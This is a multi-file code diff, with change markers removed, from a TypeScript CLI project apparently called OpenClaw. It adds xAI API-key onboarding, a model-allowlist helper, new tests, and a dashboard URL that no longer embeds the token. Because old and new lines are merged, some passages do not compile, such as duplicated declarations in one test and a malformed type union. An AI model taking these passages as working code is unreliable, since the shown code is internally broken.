const assets = path.join(root, "assets", "chrome-extension");
try {
writeManifest(assets);
fs.mkdirSync(here, { recursive: true });
const { resolveBundledExtensionRootDir } = await import("./browser-cli-extension.js");
expect(resolveBundledExtensionRootDir(here)).toBe(assets);
} finally {
fs.rmSync(root, { recursive: true, force: true });
}
});
it("prefers the nearest assets directory", async () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-ext-root-"));
const here = path.join(root, "dist", "cli");
const distAssets = path.join(root, "dist", "assets", "chrome-extension");
const rootAssets = path.join(root, "assets", "chrome-extension");
try {
writeManifest(distAssets);
writeManifest(rootAssets);
fs.mkdirSync(here, { recursive: true });
const { resolveBundledExtensionRootDir } = await import("./browser-cli-extension.js");
expect(resolveBundledExtensionRootDir(here)).toBe(distAssets);
} finally {
fs.rmSync(root, { recursive: true, force: true });
}
});
});
describe("browser extension install", () => {
it("installs into the state dir (never node_modules)", async () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-ext-"));
const { installChromeExtension } = await import("./browser-cli-extension.js");
const sourceDir = path.resolve(process.cwd(), "assets/chrome-extension");
const result = await installChromeExtension({ stateDir: tmp, sourceDir });
try {
const { installChromeExtension } = await import("./browser-cli-extension.js");
const sourceDir = path.resolve(process.cwd(), "assets/chrome-extension");
const result = await installChromeExtension({ stateDir: tmp, sourceDir });
expect(result.path).toBe(path.join(tmp, "browser", "chrome-extension"));
expect(fs.existsSync(path.join(result.path, "manifest.json"))).toBe(true);
expect(result.path.includes("node_modules")).toBe(false);
expect(result.path).toBe(path.join(tmp, "browser", "chrome-extension"));
expect(fs.existsSync(path.join(result.path, "manifest.json"))).toBe(true);
expect(result.path.includes("node_modules")).toBe(false);
} finally {
fs.rmSync(tmp, { recursive: true, force: true });
}
});
it("copies extension path to clipboard", async () => {
@@ -44,8 +89,7 @@ describe("browser extension install", () => {
runtime.exit.mockReset();
const dir = path.join(tmp, "browser", "chrome-extension");
fs.mkdirSync(dir, { recursive: true });
fs.writeFileSync(path.join(dir, "manifest.json"), JSON.stringify({ manifest_version: 3 }));
writeManifest(dir);
vi.resetModules();
const { Command } = await import("commander");
+17 -3
View File
@@ -12,8 +12,22 @@ import { theme } from "../terminal/theme.js";
import { shortenHomePath } from "../utils.js";
import { formatCliCommand } from "./command-format.js";
function bundledExtensionRootDir() {
const here = path.dirname(fileURLToPath(import.meta.url));
export function resolveBundledExtensionRootDir(
here = path.dirname(fileURLToPath(import.meta.url)),
) {
let current = here;
while (true) {
const candidate = path.join(current, "assets", "chrome-extension");
if (hasManifest(candidate)) {
return candidate;
}
const parent = path.dirname(current);
if (parent === current) {
break;
}
current = parent;
}
return path.resolve(here, "../../assets/chrome-extension");
}
@@ -29,7 +43,7 @@ export async function installChromeExtension(opts?: {
stateDir?: string;
sourceDir?: string;
}): Promise<{ path: string }> {
const src = opts?.sourceDir ?? bundledExtensionRootDir();
const src = opts?.sourceDir ?? resolveBundledExtensionRootDir();
if (!hasManifest(src)) {
throw new Error("Bundled Chrome extension is missing. Reinstall OpenClaw and try again.");
}
+63
View File
@@ -0,0 +1,63 @@
import { describe, expect, it } from "vitest";
import type { CronJob } from "../../cron/types.js";
import type { RuntimeEnv } from "../../runtime.js";
import { printCronList } from "./shared.js";
describe("printCronList", () => {
it("handles job with undefined sessionTarget (#9649)", () => {
const logs: string[] = [];
const mockRuntime = {
log: (msg: string) => logs.push(msg),
error: () => {},
exit: () => {},
} as RuntimeEnv;
// Simulate a job without sessionTarget (as reported in #9649)
const jobWithUndefinedTarget = {
id: "test-job-id",
agentId: "main",
name: "Test Job",
enabled: true,
createdAtMs: Date.now(),
updatedAtMs: Date.now(),
schedule: { kind: "at", at: new Date(Date.now() + 3600000).toISOString() },
// sessionTarget is intentionally omitted to simulate the bug
wakeMode: "next-heartbeat",
payload: { kind: "systemEvent", text: "test" },
state: { nextRunAtMs: Date.now() + 3600000 },
} as CronJob;
// This should not throw "Cannot read properties of undefined (reading 'trim')"
expect(() => printCronList([jobWithUndefinedTarget], mockRuntime)).not.toThrow();
// Verify output contains the job
expect(logs.length).toBeGreaterThan(1);
expect(logs.some((line) => line.includes("test-job-id"))).toBe(true);
});
it("handles job with defined sessionTarget", () => {
const logs: string[] = [];
const mockRuntime = {
log: (msg: string) => logs.push(msg),
error: () => {},
exit: () => {},
} as RuntimeEnv;
const jobWithTarget: CronJob = {
id: "test-job-id-2",
agentId: "main",
name: "Test Job 2",
enabled: true,
createdAtMs: Date.now(),
updatedAtMs: Date.now(),
schedule: { kind: "at", at: new Date(Date.now() + 3600000).toISOString() },
sessionTarget: "isolated",
wakeMode: "next-heartbeat",
payload: { kind: "systemEvent", text: "test" },
state: { nextRunAtMs: Date.now() + 3600000 },
};
expect(() => printCronList([jobWithTarget], mockRuntime)).not.toThrow();
expect(logs.some((line) => line.includes("isolated"))).toBe(true);
});
});
+1 -1
View File
@@ -197,7 +197,7 @@ export function printCronList(jobs: CronJob[], runtime = defaultRuntime) {
const lastLabel = pad(formatRelative(job.state.lastRunAtMs, now), CRON_LAST_PAD);
const statusRaw = formatStatus(job);
const statusLabel = pad(statusRaw, CRON_STATUS_PAD);
const targetLabel = pad(job.sessionTarget, CRON_TARGET_PAD);
const targetLabel = pad(job.sessionTarget ?? "-", CRON_TARGET_PAD);
const agentLabel = pad(truncate(job.agentId ?? "default", CRON_AGENT_PAD), CRON_AGENT_PAD);
const coloredStatus = (() => {
+13 -6
View File
@@ -53,10 +53,17 @@ async function withEnvOverride<T>(
}
}
vi.mock("../gateway/call.js", () => ({
callGateway: (opts: unknown) => callGateway(opts),
randomIdempotencyKey: () => "rk_test",
}));
vi.mock(
new URL("../../gateway/call.ts", new URL("./gateway-cli/call.ts", import.meta.url)).href,
async (importOriginal) => {
const mod = await importOriginal();
return {
...mod,
callGateway: (opts: unknown) => callGateway(opts),
randomIdempotencyKey: () => "rk_test",
};
},
);
vi.mock("../gateway/server.js", () => ({
startGatewayServer: (port: number, opts?: unknown) => startGatewayServer(port, opts),
@@ -122,7 +129,7 @@ describe("gateway-cli coverage", () => {
expect(callGateway).toHaveBeenCalledTimes(1);
expect(runtimeLogs.join("\n")).toContain('"ok": true');
}, 30_000);
}, 60_000);
it("registers gateway probe and routes to gatewayStatusCommand", async () => {
runtimeLogs.length = 0;
@@ -137,7 +144,7 @@ describe("gateway-cli coverage", () => {
await program.parseAsync(["gateway", "probe", "--json"], { from: "user" });
expect(gatewayStatusCommand).toHaveBeenCalledTimes(1);
}, 30_000);
}, 60_000);
it("registers gateway discover and prints JSON", async () => {
runtimeLogs.length = 0;
+10
View File
@@ -10,6 +10,9 @@ const callGateway = vi.fn();
const runChannelLogin = vi.fn();
const runChannelLogout = vi.fn();
const runTui = vi.fn();
const loadAndMaybeMigrateDoctorConfig = vi.fn();
const ensureConfigReady = vi.fn();
const ensurePluginRegistryLoaded = vi.fn();
const runtime = {
log: vi.fn(),
@@ -19,6 +22,8 @@ const runtime = {
}),
};
vi.mock("./plugin-registry.js", () => ({ ensurePluginRegistryLoaded: () => undefined }));
vi.mock("../commands/message.js", () => ({ messageCommand }));
vi.mock("../commands/status.js", () => ({ statusCommand }));
vi.mock("../commands/configure.js", () => ({
@@ -37,9 +42,12 @@ vi.mock("../commands/configure.js", () => ({
}));
vi.mock("../commands/setup.js", () => ({ setupCommand }));
vi.mock("../commands/onboard.js", () => ({ onboardCommand }));
vi.mock("../commands/doctor-config-flow.js", () => ({ loadAndMaybeMigrateDoctorConfig }));
vi.mock("../runtime.js", () => ({ defaultRuntime: runtime }));
vi.mock("./channel-auth.js", () => ({ runChannelLogin, runChannelLogout }));
vi.mock("../tui/tui.js", () => ({ runTui }));
vi.mock("./plugin-registry.js", () => ({ ensurePluginRegistryLoaded }));
vi.mock("./program/config-guard.js", () => ({ ensureConfigReady }));
vi.mock("../gateway/call.js", () => ({
callGateway,
randomIdempotencyKey: () => "idem-test",
@@ -50,6 +58,7 @@ vi.mock("../gateway/call.js", () => ({
}),
}));
vi.mock("./deps.js", () => ({ createDefaultDeps: () => ({}) }));
vi.mock("./preaction.js", () => ({ registerPreActionHooks: () => {} }));
const { buildProgram } = await import("./program.js");
@@ -57,6 +66,7 @@ describe("cli program (smoke)", () => {
beforeEach(() => {
vi.clearAllMocks();
runTui.mockResolvedValue(undefined);
ensureConfigReady.mockResolvedValue(undefined);
});
it("runs message with required options", async () => {
+3
View File
@@ -47,6 +47,9 @@ export function configureProgramHelp(program: Command, ctx: ProgramContext) {
program.option("--no-color", "Disable ANSI colors", false);
program.configureHelp({
// sort options and subcommands alphabetically
sortSubcommands: true,
sortOptions: true,
optionTerm: (option) => theme.option(option.flags),
subcommandTerm: (cmd) => theme.command(cmd.name()),
});
+3 -1
View File
@@ -58,7 +58,7 @@ export function registerOnboardCommand(program: Command) {
.option("--mode <mode>", "Wizard mode: local|remote")
.option(
"--auth-choice <choice>",
"Auth: setup-token|token|chutes|openai-codex|openai-api-key|openrouter-api-key|ai-gateway-api-key|cloudflare-ai-gateway-api-key|moonshot-api-key|moonshot-api-key-cn|kimi-code-api-key|synthetic-api-key|venice-api-key|gemini-api-key|zai-api-key|xiaomi-api-key|apiKey|minimax-api|minimax-api-lightning|opencode-zen|skip|qianfan-api-key",
"Auth: setup-token|token|chutes|openai-codex|openai-api-key|openrouter-api-key|ai-gateway-api-key|cloudflare-ai-gateway-api-key|moonshot-api-key|moonshot-api-key-cn|kimi-code-api-key|synthetic-api-key|venice-api-key|gemini-api-key|zai-api-key|xiaomi-api-key|xai-api-key|apiKey|minimax-api|minimax-api-lightning|opencode-zen|skip|qianfan-api-key",
)
.option(
"--token-provider <id>",
@@ -87,6 +87,7 @@ export function registerOnboardCommand(program: Command) {
.option("--synthetic-api-key <key>", "Synthetic API key")
.option("--venice-api-key <key>", "Venice API key")
.option("--opencode-zen-api-key <key>", "OpenCode Zen API key")
.option("--xai-api-key <key>", "xAI API key")
.option("--gateway-port <port>", "Gateway port")
.option("--gateway-bind <mode>", "Gateway bind: loopback|tailnet|lan|auto|custom")
.option("--gateway-auth <mode>", "Gateway auth: token|password")
@@ -142,6 +143,7 @@ export function registerOnboardCommand(program: Command) {
syntheticApiKey: opts.syntheticApiKey as string | undefined,
veniceApiKey: opts.veniceApiKey as string | undefined,
opencodeZenApiKey: opts.opencodeZenApiKey as string | undefined,
xaiApiKey: opts.xaiApiKey as string | undefined,
gatewayPort:
typeof gatewayPort === "number" && Number.isFinite(gatewayPort)
? gatewayPort
+6 -3
View File
@@ -8,6 +8,7 @@ import {
checkShellCompletionStatus,
ensureCompletionCacheExists,
} from "../commands/doctor-completion.js";
import { doctorCommand } from "../commands/doctor.js";
import {
formatUpdateAvailableHint,
formatUpdateOneLiner,
@@ -56,6 +57,7 @@ import { theme } from "../terminal/theme.js";
import { replaceCliName, resolveCliName } from "./cli-name.js";
import { formatCliCommand } from "./command-format.js";
import { installCompletion } from "./completion-cli.js";
import { runDaemonRestart } from "./daemon-cli.js";
import { formatHelpExamples } from "./help-format.js";
export type UpdateCommandOptions = {
@@ -86,7 +88,10 @@ const STEP_LABELS: Record<string, string> = {
"preflight cleanup": "Cleaning preflight worktree",
"deps install": "Installing dependencies",
build: "Building",
"ui:build": "Building UI",
"ui:build": "Building UI assets",
"ui:build (post-doctor repair)": "Restoring missing UI assets",
"ui assets verify": "Validating UI assets",
"openclaw doctor entry": "Checking doctor entrypoint",
"openclaw doctor": "Running doctor checks",
"git rev-parse HEAD (after)": "Verifying update",
"global update": "Updating via package manager",
@@ -1064,14 +1069,12 @@ export async function updateCommand(opts: UpdateCommandOptions): Promise<void> {
defaultRuntime.log(theme.heading("Restarting service..."));
}
try {
const { runDaemonRestart } = await import("./daemon-cli.js");
const restarted = await runDaemonRestart();
if (!opts.json && restarted) {
defaultRuntime.log(theme.success("Daemon restarted successfully."));
defaultRuntime.log("");
process.env.OPENCLAW_UPDATE_IN_PROGRESS = "1";
try {
const { doctorCommand } = await import("../commands/doctor.js");
const interactiveDoctor = Boolean(process.stdin.isTTY) && !opts.json && opts.yes !== true;
await doctorCommand(defaultRuntime, {
nonInteractive: !interactiveDoctor,
+9
View File
@@ -42,5 +42,14 @@ export function resolveAgentRunContext(opts: AgentCommandOpts): AgentRunContext
merged.currentThreadTs = String(opts.threadId);
}
// Populate currentChannelId from the outbound target so that
// resolveTelegramAutoThreadId can match the originating chat.
if (!merged.currentChannelId && opts.to) {
const trimmedTo = opts.to.trim();
if (trimmedTo) {
merged.currentChannelId = trimmedTo;
}
}
return merged;
}
+10
View File
@@ -114,4 +114,14 @@ describe("buildAuthChoiceOptions", () => {
expect(options.some((opt) => opt.value === "qwen-portal")).toBe(true);
});
it("includes xAI auth choice", () => {
const store: AuthProfileStore = { version: 1, profiles: {} };
const options = buildAuthChoiceOptions({
store,
includeSkip: false,
});
expect(options.some((opt) => opt.value === "xai-api-key")).toBe(true);
});
});
+8
View File
@@ -24,6 +24,7 @@ export type AuthChoiceGroupId =
| "venice"
| "qwen"
| "qianfan";
| "xai";
export type AuthChoiceGroup = {
value: AuthChoiceGroupId;
@@ -38,6 +39,12 @@ const AUTH_CHOICE_GROUP_DEFS: {
hint?: string;
choices: AuthChoice[];
}[] = [
{
value: "xai",
label: "xAI (Grok)",
hint: "API key",
choices: ["xai-api-key"],
},
{
value: "openai",
label: "OpenAI",
@@ -156,6 +163,7 @@ export function buildAuthChoiceOptions(params: {
options.push({ value: "chutes", label: "Chutes (OAuth)" });
options.push({ value: "openai-api-key", label: "OpenAI API key" });
options.push({ value: "openrouter-api-key", label: "OpenRouter API key" });
options.push({ value: "xai-api-key", label: "xAI (Grok) API key" });
options.push({
value: "ai-gateway-api-key",
label: "Vercel AI Gateway API key",
@@ -758,7 +758,7 @@ export async function applyAuthChoiceApiProviders(
[
"OpenCode Zen provides access to Claude, GPT, Gemini, and more models.",
"Get your API key at: https://opencode.ai/auth",
"Requires an active OpenCode Zen subscription.",
"OpenCode Zen bills per request. Check your OpenCode dashboard for details.",
].join("\n"),
"OpenCode Zen",
);
+44 -2
View File
@@ -7,6 +7,7 @@ import {
normalizeApiKeyInput,
validateApiKeyInput,
} from "./auth-choice.api-key.js";
import { applyDefaultModelChoice } from "./auth-choice.default-model.js";
import { isRemoteEnvironment } from "./oauth-env.js";
import { createVpsAwareOAuthHandlers } from "./oauth-flow.js";
import { applyAuthProfileConfig, writeOAuthCredentials } from "./onboard-auth.js";
@@ -15,6 +16,11 @@ import {
applyOpenAICodexModelDefault,
OPENAI_CODEX_DEFAULT_MODEL,
} from "./openai-codex-model-default.js";
import {
applyOpenAIConfig,
applyOpenAIProviderConfig,
OPENAI_DEFAULT_MODEL,
} from "./openai-model-default.js";
export async function applyAuthChoiceOpenAI(
params: ApplyAuthChoiceParams,
@@ -25,6 +31,18 @@ export async function applyAuthChoiceOpenAI(
}
if (authChoice === "openai-api-key") {
let nextConfig = params.config;
let agentModelOverride: string | undefined;
const noteAgentModel = async (model: string) => {
if (!params.agentId) {
return;
}
await params.prompter.note(
`Default model set to ${model} for agent "${params.agentId}".`,
"Model configured",
);
};
const envKey = resolveEnvApiKey("openai");
if (envKey) {
const useExisting = await params.prompter.confirm({
@@ -43,7 +61,19 @@ export async function applyAuthChoiceOpenAI(
`Copied OPENAI_API_KEY to ${result.path} for launchd compatibility.`,
"OpenAI API key",
);
return { config: params.config };
const applied = await applyDefaultModelChoice({
config: nextConfig,
setDefaultModel: params.setDefaultModel,
defaultModel: OPENAI_DEFAULT_MODEL,
applyDefaultConfig: applyOpenAIConfig,
applyProviderConfig: applyOpenAIProviderConfig,
noteDefault: OPENAI_DEFAULT_MODEL,
noteAgentModel,
prompter: params.prompter,
});
nextConfig = applied.config;
agentModelOverride = applied.agentModelOverride ?? agentModelOverride;
return { config: nextConfig, agentModelOverride };
}
}
@@ -67,7 +97,19 @@ export async function applyAuthChoiceOpenAI(
`Saved OPENAI_API_KEY to ${result.path} for launchd compatibility.`,
"OpenAI API key",
);
return { config: params.config };
const applied = await applyDefaultModelChoice({
config: nextConfig,
setDefaultModel: params.setDefaultModel,
defaultModel: OPENAI_DEFAULT_MODEL,
applyDefaultConfig: applyOpenAIConfig,
applyProviderConfig: applyOpenAIProviderConfig,
noteDefault: OPENAI_DEFAULT_MODEL,
noteAgentModel,
prompter: params.prompter,
});
nextConfig = applied.config;
agentModelOverride = applied.agentModelOverride ?? agentModelOverride;
return { config: nextConfig, agentModelOverride };
}
if (params.authChoice === "openai-codex") {
+3
View File
@@ -12,6 +12,7 @@ import { applyAuthChoiceMiniMax } from "./auth-choice.apply.minimax.js";
import { applyAuthChoiceOAuth } from "./auth-choice.apply.oauth.js";
import { applyAuthChoiceOpenAI } from "./auth-choice.apply.openai.js";
import { applyAuthChoiceQwenPortal } from "./auth-choice.apply.qwen-portal.js";
import { applyAuthChoiceXAI } from "./auth-choice.apply.xai.js";
export type ApplyAuthChoiceParams = {
authChoice: AuthChoice;
@@ -27,6 +28,7 @@ export type ApplyAuthChoiceParams = {
cloudflareAiGatewayAccountId?: string;
cloudflareAiGatewayGatewayId?: string;
cloudflareAiGatewayApiKey?: string;
xaiApiKey?: string;
};
};
@@ -49,6 +51,7 @@ export async function applyAuthChoice(
applyAuthChoiceGoogleGeminiCli,
applyAuthChoiceCopilotProxy,
applyAuthChoiceQwenPortal,
applyAuthChoiceXAI,
];
for (const handler of handlers) {
+86
View File
@@ -0,0 +1,86 @@
import type { ApplyAuthChoiceParams, ApplyAuthChoiceResult } from "./auth-choice.apply.js";
import { resolveEnvApiKey } from "../agents/model-auth.js";
import {
formatApiKeyPreview,
normalizeApiKeyInput,
validateApiKeyInput,
} from "./auth-choice.api-key.js";
import { applyDefaultModelChoice } from "./auth-choice.default-model.js";
import {
applyAuthProfileConfig,
applyXaiConfig,
applyXaiProviderConfig,
setXaiApiKey,
XAI_DEFAULT_MODEL_REF,
} from "./onboard-auth.js";
export async function applyAuthChoiceXAI(
params: ApplyAuthChoiceParams,
): Promise<ApplyAuthChoiceResult | null> {
if (params.authChoice !== "xai-api-key") {
return null;
}
let nextConfig = params.config;
let agentModelOverride: string | undefined;
const noteAgentModel = async (model: string) => {
if (!params.agentId) {
return;
}
await params.prompter.note(
`Default model set to ${model} for agent "${params.agentId}".`,
"Model configured",
);
};
let hasCredential = false;
const optsKey = params.opts?.xaiApiKey?.trim();
if (optsKey) {
setXaiApiKey(normalizeApiKeyInput(optsKey), params.agentDir);
hasCredential = true;
}
if (!hasCredential) {
const envKey = resolveEnvApiKey("xai");
if (envKey) {
const useExisting = await params.prompter.confirm({
message: `Use existing XAI_API_KEY (${envKey.source}, ${formatApiKeyPreview(envKey.apiKey)})?`,
initialValue: true,
});
if (useExisting) {
setXaiApiKey(envKey.apiKey, params.agentDir);
hasCredential = true;
}
}
}
if (!hasCredential) {
const key = await params.prompter.text({
message: "Enter xAI API key",
validate: validateApiKeyInput,
});
setXaiApiKey(normalizeApiKeyInput(String(key)), params.agentDir);
}
nextConfig = applyAuthProfileConfig(nextConfig, {
profileId: "xai:default",
provider: "xai",
mode: "api_key",
});
{
const applied = await applyDefaultModelChoice({
config: nextConfig,
setDefaultModel: params.setDefaultModel,
defaultModel: XAI_DEFAULT_MODEL_REF,
applyDefaultConfig: applyXaiConfig,
applyProviderConfig: applyXaiProviderConfig,
noteDefault: XAI_DEFAULT_MODEL_REF,
noteAgentModel,
prompter: params.prompter,
});
nextConfig = applied.config;
agentModelOverride = applied.agentModelOverride ?? agentModelOverride;
}
return { config: nextConfig, agentModelOverride };
}
@@ -0,0 +1,77 @@
import { describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import type { WizardPrompter } from "../wizard/prompts.js";
import { applyDefaultModelChoice } from "./auth-choice.default-model.js";
function makePrompter(): WizardPrompter {
return {
intro: async () => {},
outro: async () => {},
note: async () => {},
select: async () => "",
multiselect: async () => [],
text: async () => "",
confirm: async () => false,
progress: () => ({ update: () => {}, stop: () => {} }),
};
}
describe("applyDefaultModelChoice", () => {
it("ensures allowlist entry exists when returning an agent override", async () => {
const defaultModel = "vercel-ai-gateway/anthropic/claude-opus-4.6";
const noteAgentModel = vi.fn(async () => {});
const applied = await applyDefaultModelChoice({
config: {},
setDefaultModel: false,
defaultModel,
// Simulate a provider function that does not explicitly add the entry.
applyProviderConfig: (config: OpenClawConfig) => config,
applyDefaultConfig: (config: OpenClawConfig) => config,
noteAgentModel,
prompter: makePrompter(),
});
expect(noteAgentModel).toHaveBeenCalledWith(defaultModel);
expect(applied.agentModelOverride).toBe(defaultModel);
expect(applied.config.agents?.defaults?.models?.[defaultModel]).toEqual({});
});
it("adds canonical allowlist key for anthropic aliases", async () => {
const defaultModel = "anthropic/opus-4.6";
const applied = await applyDefaultModelChoice({
config: {},
setDefaultModel: false,
defaultModel,
applyProviderConfig: (config: OpenClawConfig) => config,
applyDefaultConfig: (config: OpenClawConfig) => config,
noteAgentModel: async () => {},
prompter: makePrompter(),
});
expect(applied.config.agents?.defaults?.models?.[defaultModel]).toEqual({});
expect(applied.config.agents?.defaults?.models?.["anthropic/claude-opus-4-6"]).toEqual({});
});
it("uses applyDefaultConfig path when setDefaultModel is true", async () => {
const defaultModel = "openai/gpt-5.1-codex";
const applied = await applyDefaultModelChoice({
config: {},
setDefaultModel: true,
defaultModel,
applyProviderConfig: (config: OpenClawConfig) => config,
applyDefaultConfig: () => ({
agents: {
defaults: {
model: { primary: defaultModel },
},
},
}),
noteDefault: defaultModel,
noteAgentModel: async () => {},
prompter: makePrompter(),
});
expect(applied.agentModelOverride).toBeUndefined();
expect(applied.config.agents?.defaults?.model).toEqual({ primary: defaultModel });
});
});
+6 -1
View File
@@ -1,5 +1,6 @@
import type { OpenClawConfig } from "../config/config.js";
import type { WizardPrompter } from "../wizard/prompts.js";
import { ensureModelAllowlistEntry } from "./model-allowlist.js";
export async function applyDefaultModelChoice(params: {
config: OpenClawConfig;
@@ -20,6 +21,10 @@ export async function applyDefaultModelChoice(params: {
}
const next = params.applyProviderConfig(params.config);
const nextWithModel = ensureModelAllowlistEntry({
cfg: next,
modelRef: params.defaultModel,
});
await params.noteAgentModel(params.defaultModel);
return { config: next, agentModelOverride: params.defaultModel };
return { config: nextWithModel, agentModelOverride: params.defaultModel };
}
@@ -30,6 +30,7 @@ const PREFERRED_PROVIDER_BY_AUTH_CHOICE: Partial<Record<AuthChoice, string>> = {
"minimax-api-lightning": "minimax",
minimax: "lmstudio",
"opencode-zen": "opencode",
"xai-api-key": "xai",
"qwen-portal": "qwen-portal",
"minimax-portal": "minimax-portal",
"qianfan-api-key": "qianfan",
+56 -2
View File
@@ -193,6 +193,60 @@ describe("applyAuthChoice", () => {
expect(parsed.profiles?.["synthetic:default"]?.key).toBe("sk-synthetic-test");
});
it("does not override the global default model when selecting xai-api-key without setDefaultModel", async () => {
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-auth-"));
process.env.OPENCLAW_STATE_DIR = tempStateDir;
process.env.OPENCLAW_AGENT_DIR = path.join(tempStateDir, "agent");
process.env.PI_CODING_AGENT_DIR = process.env.OPENCLAW_AGENT_DIR;
const text = vi.fn().mockResolvedValue("sk-xai-test");
const select: WizardPrompter["select"] = vi.fn(
async (params) => params.options[0]?.value as never,
);
const multiselect: WizardPrompter["multiselect"] = vi.fn(async () => []);
const prompter: WizardPrompter = {
intro: vi.fn(noopAsync),
outro: vi.fn(noopAsync),
note: vi.fn(noopAsync),
select,
multiselect,
text,
confirm: vi.fn(async () => false),
progress: vi.fn(() => ({ update: noop, stop: noop })),
};
const runtime: RuntimeEnv = {
log: vi.fn(),
error: vi.fn(),
exit: vi.fn((code: number) => {
throw new Error(`exit:${code}`);
}),
};
const result = await applyAuthChoice({
authChoice: "xai-api-key",
config: { agents: { defaults: { model: { primary: "openai/gpt-4o-mini" } } } },
prompter,
runtime,
setDefaultModel: false,
agentId: "agent-1",
});
expect(text).toHaveBeenCalledWith(expect.objectContaining({ message: "Enter xAI API key" }));
expect(result.config.auth?.profiles?.["xai:default"]).toMatchObject({
provider: "xai",
mode: "api_key",
});
expect(result.config.agents?.defaults?.model?.primary).toBe("openai/gpt-4o-mini");
expect(result.agentModelOverride).toBe("xai/grok-4");
const authProfilePath = authProfilePathFor(requireAgentDir());
const raw = await fs.readFile(authProfilePath, "utf8");
const parsed = JSON.parse(raw) as {
profiles?: Record<string, { key?: string }>;
};
expect(parsed.profiles?.["xai:default"]?.key).toBe("sk-xai-test");
});
it("sets default model when selecting github-copilot", async () => {
tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-auth-"));
process.env.OPENCLAW_STATE_DIR = tempStateDir;
@@ -284,7 +338,7 @@ describe("applyAuthChoice", () => {
);
expect(result.config.agents?.defaults?.model?.primary).toBe("anthropic/claude-opus-4-5");
expect(result.config.models?.providers?.["opencode-zen"]).toBeUndefined();
expect(result.agentModelOverride).toBe("opencode/claude-opus-4-5");
expect(result.agentModelOverride).toBe("opencode/claude-opus-4-6");
});
it("uses existing OPENROUTER_API_KEY when selecting openrouter-api-key", async () => {
@@ -398,7 +452,7 @@ describe("applyAuthChoice", () => {
mode: "api_key",
});
expect(result.config.agents?.defaults?.model?.primary).toBe(
"vercel-ai-gateway/anthropic/claude-opus-4.5",
"vercel-ai-gateway/anthropic/claude-opus-4.6",
);
const authProfilePath = authProfilePathFor(requireAgentDir());
+2 -1
View File
@@ -15,6 +15,7 @@ import {
type GatewayAuthChoice = "token" | "password";
const ANTHROPIC_OAUTH_MODEL_KEYS = [
"anthropic/claude-opus-4-6",
"anthropic/claude-opus-4-5",
"anthropic/claude-sonnet-4-5",
"anthropic/claude-haiku-4-5",
@@ -81,7 +82,7 @@ export async function promptAuthConfig(
config: next,
prompter,
allowedKeys: anthropicOAuth ? ANTHROPIC_OAUTH_MODEL_KEYS : undefined,
initialSelections: anthropicOAuth ? ["anthropic/claude-opus-4-5"] : undefined,
initialSelections: anthropicOAuth ? ["anthropic/claude-opus-4-6"] : undefined,
message: anthropicOAuth ? "Anthropic OAuth models" : undefined,
});
if (allowlistSelection.models) {
+2 -2
View File
@@ -83,8 +83,8 @@ describe("dashboardCommand", () => {
customBindHost: undefined,
basePath: undefined,
});
expect(mocks.copyToClipboard).toHaveBeenCalledWith("http://127.0.0.1:18789/?token=abc123");
expect(mocks.openUrl).toHaveBeenCalledWith("http://127.0.0.1:18789/?token=abc123");
expect(mocks.copyToClipboard).toHaveBeenCalledWith("http://127.0.0.1:18789/");
expect(mocks.openUrl).toHaveBeenCalledWith("http://127.0.0.1:18789/");
expect(runtime.log).toHaveBeenCalledWith(
"Opened in your browser. Keep that tab to control OpenClaw.",
);
+4 -6
View File
@@ -23,7 +23,6 @@ export async function dashboardCommand(
const bind = cfg.gateway?.bind ?? "loopback";
const basePath = cfg.gateway?.controlUi?.basePath;
const customBindHost = cfg.gateway?.customBindHost;
const token = cfg.gateway?.auth?.token ?? process.env.OPENCLAW_GATEWAY_TOKEN ?? "";
const links = resolveControlUiLinks({
port,
@@ -31,11 +30,11 @@ export async function dashboardCommand(
customBindHost,
basePath,
});
const authedUrl = token ? `${links.httpUrl}?token=${encodeURIComponent(token)}` : links.httpUrl;
const dashboardUrl = links.httpUrl;
runtime.log(`Dashboard URL: ${authedUrl}`);
runtime.log(`Dashboard URL: ${dashboardUrl}`);
const copied = await copyToClipboard(authedUrl).catch(() => false);
const copied = await copyToClipboard(dashboardUrl).catch(() => false);
runtime.log(copied ? "Copied to clipboard." : "Copy to clipboard unavailable.");
let opened = false;
@@ -43,13 +42,12 @@ export async function dashboardCommand(
if (!options.noOpen) {
const browserSupport = await detectBrowserOpenSupport();
if (browserSupport.ok) {
opened = await openUrl(authedUrl);
opened = await openUrl(dashboardUrl);
}
if (!opened) {
hint = formatControlUiSshHint({
port,
basePath,
token: token || undefined,
});
}
} else {
+9 -1
View File
@@ -2,6 +2,10 @@ import fs from "node:fs/promises";
import path from "node:path";
import type { RuntimeEnv } from "../runtime.js";
import type { DoctorPrompter } from "./doctor-prompter.js";
import {
resolveControlUiDistIndexHealth,
resolveControlUiDistIndexPathForRoot,
} from "../infra/control-ui-assets.js";
import { resolveOpenClawPackageRoot } from "../infra/openclaw-root.js";
import { runCommandWithTimeout } from "../process/exec.js";
import { note } from "../terminal/note.js";
@@ -21,7 +25,11 @@ export async function maybeRepairUiProtocolFreshness(
}
const schemaPath = path.join(root, "src/gateway/protocol/schema.ts");
const uiIndexPath = path.join(root, "dist/control-ui/index.html");
const uiHealth = await resolveControlUiDistIndexHealth({
root,
argv1: process.argv[1],
});
const uiIndexPath = uiHealth.indexPath ?? resolveControlUiDistIndexPathForRoot(root);
try {
const [schemaStats, uiStats] = await Promise.all([
+41
View File
@@ -0,0 +1,41 @@
import type { OpenClawConfig } from "../config/config.js";
import { DEFAULT_PROVIDER } from "../agents/defaults.js";
import { resolveAllowlistModelKey } from "../agents/model-selection.js";
export function ensureModelAllowlistEntry(params: {
cfg: OpenClawConfig;
modelRef: string;
defaultProvider?: string;
}): OpenClawConfig {
const rawModelRef = params.modelRef.trim();
if (!rawModelRef) {
return params.cfg;
}
const models = { ...params.cfg.agents?.defaults?.models };
const keySet = new Set<string>([rawModelRef]);
const canonicalKey = resolveAllowlistModelKey(
rawModelRef,
params.defaultProvider ?? DEFAULT_PROVIDER,
);
if (canonicalKey) {
keySet.add(canonicalKey);
}
for (const key of keySet) {
models[key] = {
...models[key],
};
}
return {
...params.cfg,
agents: {
...params.cfg.agents,
defaults: {
...params.cfg.agents?.defaults,
models,
},
},
};
}
+2 -1
View File
@@ -12,6 +12,7 @@ import {
resolveConfiguredModelRef,
} from "../agents/model-selection.js";
